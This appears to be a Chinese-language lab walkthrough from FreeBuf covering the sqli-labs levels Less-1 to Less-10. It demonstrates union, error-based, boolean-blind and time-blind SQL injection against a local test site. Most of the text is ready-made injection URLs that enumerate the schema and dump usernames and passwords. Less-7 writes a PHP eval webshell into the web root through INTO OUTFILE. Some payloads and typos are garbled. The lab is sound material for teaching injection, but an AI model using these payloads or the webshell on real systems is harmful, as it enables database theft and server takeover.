第一部分:联合注入
Less-1
1.这里再说明一下基本的查询语句
Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们 利用该表可以进行一次完整的注入。
- 以下为一般的流程。
- 常用语句如下:
- select user();
- select database();
- select count(*) from 表名 #获取表中数据的条数
- 猜数据库 select schema_name from information_schema.schemata
- 猜某库的数据表 select table_name from information_schema.tables where table_schema=’库名’ and table_name=’表名’
- 猜某表的所有列 Select column_name from information_schema.columns where table_name=’表名’ 获取某列 的内容 Select *** from ****
- 猜数据:
- sleect username from users #获取users表中所有数据
- sleect username from users #获取users表中username所有字段
我们把这些原始的sql语句,可以叫做为payload.一定记住这个词哦.
2.前边一篇文章已经说明了sql注入的语法分类,这里就直接做实验了.由于第一关也有了,所以这篇文章就省略了.
前一篇文章参考地址 https://www.freebuf.com/articles/web/243385.html
3.简单回顾一下
按照注入语法分为:联合查询注入Union/报错查询注入error/布尔型注入Boolean/延时注入Time/堆叠查询注入
4.说明一下这几种注入方式的关系,他们是从易到难排列的.
优先选择union联合注入最简单–>要求页面必须有显示位
如果没有union注入,页面有报错信息就选择报错注入
如果没有显示位,也没有报错信息,可以选择bool型注入,比延时注入快
最后再选择延时注入,因为需要耗费的时间太长了.
Less-2
1.考点分析:
#基于错误的GET整型注入
#整型注入,不要闭合和注释;
2.实操步骤
#第一步:判断是整型还是字符型;
#and 1=1/2显示结果不同,为整型 http://localhost/sqli/Less-2/?id=1 and 1=1
http://localhost/sqli/Less-2/?id=1 and 1=2
#第二步:判断有几列—>3列 http://localhost/sqli/Less-2/?id=1′ order by 3
#第三步:找到显示位—>2和3位置
http://localhost/sqli/Less-2/?id=-1′ union select 1,2,3
#第四步:查看当前用户名和数据库名
http://localhost/sqli/Less-2/?id=-1′ union select 1,user(),3
#用户名为 root@localhost
http://localhost/sqli/Less-2/?id=-1′ union select 1,database(),3 #security
#第五步:获取表名—>用group_concat显示 http://localhost/sqli/Less-2/?id=-1′ union select
1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #得到表名emails,referers,uagents,users
#第六步:获取users的字段名
http://localhost/sqli/Less-2/?id=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’
#得到id,username,password
#第七步:获取字段信息
http://localhost/sqli/Less-2/?id=-1′ union select 1,group_concat(0x23,username,0x2B,password),3 from users
Less-3
1.考点分析: 基于错误的GET单引号变形字符型注入 加\找到闭合符号为’)
2.操作步骤:
#(1)判断闭合符号
http://localhost/sqli/Less-3/?id=2\
#(2)判断是字符型注入
http://判断是字符型注入localhost/sqli/Less-3/?id=2′) and 1=1 –+
http://localhost/sqli/Less-3/?id=2′) and 1=2 –+
#(3)判断列数和显示位
http://localhost/sqli/Less-3/?id=2′) order by 3 –+
http://localhost/sqli/Less-3/?id=-2′) union select 1,2,3 –+
#(4)查询库名
http://localhost/sqli/Less-3/?id=-2′) union select 1,2,database() –+
#(5)查询表名
http://localhost/sqli/Less-3/?id=-2′) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+
#(6)查询列名
http://localhost/sqli/Less-3/?id=-2′) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ –+
#(7)查询数据
http://localhost/sqli/Less-3/?id=-2′) union select 1,2,group_concat(0x23,username,0x7e,password) from users –+
Less-4
1.考点分析
(1)基于错误的GET双引号字符型注入
(2)加\找到闭合符号为”)
2.操作步骤
#(1)判断闭合符号
http://localhost/sqli/Less-4/?id=1\
#(2)判断是字符型注入
http://localhost/sqli/Less-4/?id=1″) and 1=1 –+
http://localhost/sqli/Less-4/?id=1″) and 1=2 –+
#(3)判断列数和显示位
http://localhost/sqli/Less-4/?id=1″) order by 3 –+
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,3 –+
#(4)查询库名
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,database() –+
#(5)查询表名
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+
#(6)查询列名
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ –+
#(7)查询数据
http://localhost/sqli/Less-4/?id=-1″) union select 1,2,group_concat(0x23,username,0x7e,password) from users –+
Less-7
1.考点分析:利用mysql读写漏洞来向目标网站写入一句话木马.
- #(1)分析考点是写入一句话
根据页面提示,是导出文件–>也就是说要通过sqli注入漏洞向web服务器写入一句话木马.
这个木马就类似于一个存在web服务器上的病毒,需要用菜刀等连接工具连接就能获取一定的web服务器权限.
简单来说就是攻击者想拿到web服务器的一些权限,那么就要向服务器上传一句话木马.这个木马相当于黑客主机和web服务器之间连接的桥梁.
#(2)写入一句话需要mysql中开启
修改my.ini的配置文件,路径是D:\phpStudy\PHPTutorial\MySQL\my.ini
secure_file_priv= 为空表示可以在任意目录读写文件;如果为NULL表示不允许写入文件.
#默认情况没有,想允许写入,就在配置文件中加入一行即可.
secure_file_priv= - #(3)还需要知道网站的绝对路径才能利用写入漏洞.
可以通过扫描目录结构;查看类似phpinfo这种可以暴露网站路径的方式.
2.操作步骤
(1)前提:
配置文件中secure_file_priv= 为空
知道网站的绝对路径
(2)答案:
闭合符的话,没有报错提示,只能靠猜或者查看源码了(现在本地环境,不用纠结.实际场景的话,可以多积累一些闭合方式用burp来检测一下闭合符号).
http://localhost/sqli/Less-7/?id=-1′)) union select 1,2,'<?php @eval($_POST[“cmd”]); ?>’ into outfile ‘D:\\phpStudy\\PHPTutorial\\WWW\\ma.php’ –+
(3)菜刀连接一句话木马
第二部分:报错注入
Less-5
1.考点分析
#GET方式单引号字符型报错注入
(1)加\找到闭合符号为’
(2)没有显示位,加\有报错,可以使用报错方式注入
2.操作步骤
#(1)判断闭合符号
http://localhost/sqli/Less-5/?id=1\
#(2)判断是字符型注入
http://localhost/sqli/Less-5/?id=1′ and 1=1 –+
http://localhost/sqli/Less-5/?id=1′ and 1=2 –+
#(3)判断列数和显示位
http://localhost/sqli/Less-5/?id=1′ order by 3 –+
http://localhost/sqli/Less-5/?id=-1′ union select 1,2,3 –+ #没有显示位,不能用联合查询注入
#所以,只能用报错注入或者延时注入.
#报错注入基本函数格式 extractvalue(1,concat(0x7e,(payload),0x7e))
#这里的payload是任意的可查询语句.
#(4)查询库名
http://localhost/sqli/Less-5/?id=-1′ and extractvalue(1,concat(0x7e,(select database()),0x7e)) –+
#(5)查询表名
http://localhost/sqli/Less-5/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) –+
#(6)查询列名
http://localhost/sqli/Less-5/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x7e)) –+
#(7)查询数据
http://localhost/sqli/Less-5/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(0x23,username,0x7e,password) from users),0x7e)) –+
(8)说明:
报错函数有长度限制,最好的方法是在select查询语句后加limit 0,1来限制查询的条数.
举例:
http://localhost/sqli/Less-5/?id=-1′ and extractvalue(1,concat(0x7e,(select group_concat(0x23,username,0x7e,password ) from users limit 0,1 ),0x7e)) –+
注意:修改limit m,1 参数可以获取不同的表名信息,m表示从第几条开始取,后边的1表示每次取1条.
m从0开始,0表示第一条.
Less-6
1.考点分析
#双注入GET双引号字符型注入
#类似第5关,只不过把闭合符号的单引号变成双引号
2.操作步骤
#(1)找到闭合符号,判断正常和异常页面的区别
#(2)库名
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
#(3)表名
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1)–+
#(4)列名
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ ),0x7e),1)–+
#(5)一次性爆出数据(不全,尽量用limit 0,1来获取)
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select group_concat(username,password) from users ),0x7e),1)–+ #尽量多的爆出用户名和密码
#(6)逐条爆出数据
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select count(username) from users ),0x7e),1)–+ #先获取username的总条数
http://localhost/sqli/Less-6/?id=2″ and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)–+ #显示第一个用户名
第三部分:布尔注入
Less-8
1.考点分析
#单引号布尔型盲注
(1)布尔型注入用到的函数:
- length(select database())>5 #length()里可以放查询语句,用来判断查询结果的长度
- exists( ) #exists()里可以放查询语句,用来判断查询结果是否存在
- ascii( ) #ascii()里可以放查询语句,用来把查询结果转换为ascii的值
- substr( string,pos,length) #用来截取查询结果,string可以用查询语句代替,pos表示截取位置–下标从1开始,length表示截取的长度;
- 当然,几个函数可以搭配使用,举例:
select * from user where id=1 and length(user())>10; #如果user()用户长度>10,返回就正常;否则返回为空. 这个是完整的查询语句.
(2)这里用到ascii函数,它的功能是把字符转换为数字的形式进行显示(可以理解是为了更好的传输一些字符和特殊符号的一种格式).
ascii表如下:
2.操作步骤
#(1)第一步:找到正常和异常页面的不同. 判断tables表是否存在
http://localhost/sqli/Less-8/?id=1′ and exists(select * from information_schema.tables) –+
#(2)第二步:判断数据库长度
http://localhost/sqli/Less-8/?id=1′ and length(database())=8 –+
#(3)第三步:获取库的第一个字符(115=s)
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),1,1))>79,sleep(5),1) –+ #为真继续猜解
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),1,1))=115,sleep(5),1) –+ #第一个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),2,1))>79,sleep(5),1) –+ #第二个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),3,1))>79,sleep(5),1) –+ #第三个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),4,1))>79,sleep(5),1) –+ #第四个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),5,1))>79,sleep(5),1) –+ #第五个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),6,1))>79,sleep(5),1) –+ #第六个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),7,1))>79,sleep(5),1) –+ #第七个字符
http://localhost/sqli/Less-8/?id=1‘ and if(ascii(substr(database(),8,1))>79,sleep(5),1) –+ #第八个字符
#(4)判断表的数量
http://localhost/sqli/Less-8/?id=1′ and (select count(table_name) from information_schema.tables where table_schema=database())>3 –+ (结果为4)
#(5)判断第一个表的长度
http://localhost/sqli/Less-8/?id=1′ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 –+
#(6)判断第一个表的第一个字符(101=e)(emails/users)
http://localhost/sqli/Less-8/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79 –+
#(7)获取表里里的字段数(一共有几列:users表一共有3列)
http://localhost/sqli/Less-8/?id=1′ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1)=3 –+
#(8)获取users表中的总条数
http://localhost/sqli/Less-8/?id=1′ and (select count(*) from users)=13 –+
同理获取users表里其他的数据信息.
3.这样手工获取显然特别麻烦,也可以借助burp工具来爆破,主要步骤如下:
开启浏览器代理—->启动burp—->浏览器提交请求—->burp中右键发送到Intruder—->先clear所有变量—->再如图,把两个变量进行添加—->payload中指定变量1类型为Numbers,值从1–10
第四部分:延时注入
Less-9
1.考点分析:#单引号基于延时的盲注
(1)#延时盲注的基本格式:
if((payload),sleep(5),1):这里的payload可以换成任意的sql语句—>作为进行判断的条件.,还可以和ascii()/substr()函数搭配使用
#说明:延时注入的唯一标准就是根据页面返回时间.
(2)#举例:
?id=1′ and if((length((user())>5)),sleep(5),1) 这句的意思表示,如果user()当前用户长度>5,就休息5s,否则就返回1.类似3元运算符.
(3)延时注入其实类似布尔型注入的变形,不过是把length/substr/ascii等函数加入到了判断条件里.(前边Less8详细讲解了几个函数猜解的过程,这里不再赘述.)
基本逻辑就是:
如果条件成立,就sleep(5)页面返回延长5s,否则就直接返回.
注意:延时注入的唯一判断标准就是页面的返回时间.尽量用浏览器查看,比较准确.
2.操作步骤
#(1)判断数据库长度
http://localhost/sqli/Less-9/?id=1′ and if((length((database())>5)),sleep(5),1) –+
#(2)判断数据库第一个字符(115=s)
http://localhost/sqli/Less-9/?id=1′ and if(ascii(substr(database(),1,1))=115,sleep(5),1) –+
#(3)判断数据库第二个字符(101=e,同理推出数据库名为security)
http://localhost/sqli/Less-9/?id=1′ and if(ascii(substr(database(),2,1))=101,sleep(5),1) –+
#(4)获取security中的表数量为4
http://localhost/sqli/Less-9/?id=1′ and if( ((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),1) –+
#(5)获取security中第一个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第一个表的不同字段信息;101=e,第一个表是emails)
http://localhost/sqli/Less-9/?id=1′ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,sleep(5),1) –+
#(6)获取security中第二个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第二个表的不同字段信息;114=r,第二个表是referers)
http://localhost/sqli/Less-9/?id=1′ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,sleep(5),1) –+
#(7)依次类推,可以获取所有表为 emails,referers,uagents,users
#(8)我们来获取users表的信息
#获取users表中第一个表的第1个字段(105=i,类似上边的操作,我们可以获取到字段为id,username,password)
http://localhost/sqli/Less-9/?id=1′ and if(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=105,sleep(5),1) –+
#(9)继续获取username字段
#获取第一条username字段的第一个字符(68=D)
http://localhost/sqli/Less-9/?id=1′ and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) –+
#(10)依次类推,获取password的第一条完整信息,进而获取所有信息
Less-10
1.考点分析
(1)#基于时间的双引号注入
(2)#类似第9关,就是把’改成”即可.
http://localhost/sqli/Less-10/?id=1″ and if((length((database())>5)),sleep(5),1) –+
2.操作步骤
#(1)判断数据库长度
http://localhost/sqli/Less-10/?id=1″ and if((length((database())>5)),sleep(5),1) –+
#(2)判断数据库第一个字符(115=s)
http://localhost/sqli/Less-10/?id=1″ and if(ascii(substr(database(),1,1))=115,sleep(5),1) –+
#(3)判断数据库第二个字符(101=e,同理推出数据库名为security)
http://localhost/sqli/Less-10/?id=1″ and if(ascii(substr(database(),2,1))=101,sleep(5),1) –+
#(4)获取security中的表数量为4
http://localhost/sqli/Less-10/?id=1″ and if(((select count(*) from information_schema.tables where table_schema=database())=4),sleep(5),1) –+
#(5)获取security中第一个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第一个表的不同字段信息;101=e,第一个表是emails)
http://localhost/sqli/Less-10/?id=1″ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,sleep(5),1) –+
#(6)获取security中第二个表的第一个字符(通过修改limit 0 后第2给1的位置可以获取第二个表的不同字段信息;114=r,第二个表是referers)
http://localhost/sqli/Less-10/?id=1″ and if(ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 1,1),1,1))=114,sleep(5),1) –+
#(7)依次类推,可以获取所有表为 emails,referers,uagents,users
#(8)我们来获取users表的信息
#获取users表中第一个表的第1个字段(105=i,类似上边的操作,我们可以获取到字段为id,username,password)
http://localhost/sqli/Less-10/?id=1″ and if(ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1))=105,sleep(5),1) –+
#(9)继续获取username字段
#获取第一条username字段的第一个字符(68=D)
http://localhost/sqli/Less-10/?id=1″ and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) –+
#(10)依次类推,获取password的第一条完整信息,进而获取所有信息
来源:freebuf.com 2020-07-18 00:52:46 by: zhijian
请登录后发表评论
注册